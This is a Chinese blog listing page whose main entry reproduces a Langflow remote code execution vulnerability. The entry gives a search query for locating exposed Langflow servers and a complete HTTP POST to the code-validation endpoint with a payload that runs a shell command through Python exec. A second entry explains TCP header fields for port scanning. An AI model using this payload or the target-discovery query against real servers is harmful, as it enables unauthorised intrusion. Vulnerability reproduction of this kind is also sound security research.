首页 文章 精选 留言 我的

精选列表

搜索[漏洞扫描工具],共10012篇文章
优秀的个人博客,低调大师

【漏洞复现】Langflow框架远程命令执行漏洞

资产收集 ``` 鹰图平台 web.title="Langflow" ``` ![](https://developer.qcloudimg.com/http-save/yehe-9694622/dc7412cbc4bc15b99a7b9a92d89ba387.png) 发送请求 ``` POST /api/v1/validate/code HTTP/1.1 Host: Content-Type: application/json Content-Length: 112 { "code": "@exec('raise Exception(__import__(\"subprocess\").check_output([\"id\"]))')\ndef foo():\n pass" } ``` 返回包 ![](https://developer.qcloudimg.com/http-save/yehe-9694622/da551dc21478d4c5944d966e06b8b786.png) 批量验证脚本

优秀的个人博客,低调大师

Python渗透测试之tcp几种端口扫描的讲解

tcp数据包格式: TCP是传输层的协议,它的数据包格式如下: 1、源端口号 2、目标端口 3、seq 用于表示这个数据包携带的数据是这个数据流哪个位置的数据,用于数据排序 4、ack 接受方向发送方确认已经收到的数据 5、跟ip头部的4位首部长度一样(见本期上半节内容),最少值为5(20字节,即选项处没数据),最大15(60字节,即选项处数据为40字节) 6、保留位,wirshake抓包没发现此字段,但是发现它与标志字段合并了 7、6位标标志字段: (源自百度百科) 8、可以看作tcp的缓冲区,根据mss大小,用于确定一次性发送分组的个数 9、校验和,与IP校验和字段是一样的(见本期内容上半节讲解) 10、当标志位设置了URG时,表示这个紧急指针有效,表示紧急指针开始的数据才是正常数据 11、选项字段 12、数据 此处没有总长度

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

WebStorm

WebStorm

WebStorm 是jetbrains公司旗下一款JavaScript 开发工具。目前已经被广大中国JS开发者誉为“Web前端开发神器”、“最强大的HTML5编辑器”、“最智能的JavaScript IDE”等。与IntelliJ IDEA同源,继承了IntelliJ IDEA强大的JS部分的功能。

用户登录
用户注册